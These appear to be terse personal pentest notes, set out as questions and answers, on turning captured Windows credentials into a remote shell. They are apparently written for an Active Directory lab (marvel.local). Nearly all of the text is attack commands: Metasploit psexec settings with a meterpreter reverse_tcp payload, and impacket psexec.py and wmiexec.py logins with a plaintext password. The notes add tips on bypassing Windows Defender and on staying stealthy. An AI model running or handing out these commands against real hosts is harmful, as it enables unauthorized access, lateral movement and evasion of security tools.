Get shell access when you have credentials

Question 1

Msfconsole psexec

Answer 1

(Use all information gatehered from smb relay or LLMNR poisoning)

search psexec
use exploit/windows/smb/psexec
set rhosts IP_Target
set smbdomain marvel.local
set smbpass Password1
set smbuser fcastle
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
run

show targets
set targets 2

Question 2

If psexec on msf not working…

Answer 2

Use the official tool:
psexec.py marvel.local\fcastle:Password1@IP_Target
(bypass windows defender but noisly)

Question 3

More stealthy shell access thant psexec ?

Answer 3

wmiexec.py marvel.local/fcastle:Password1@IP_Target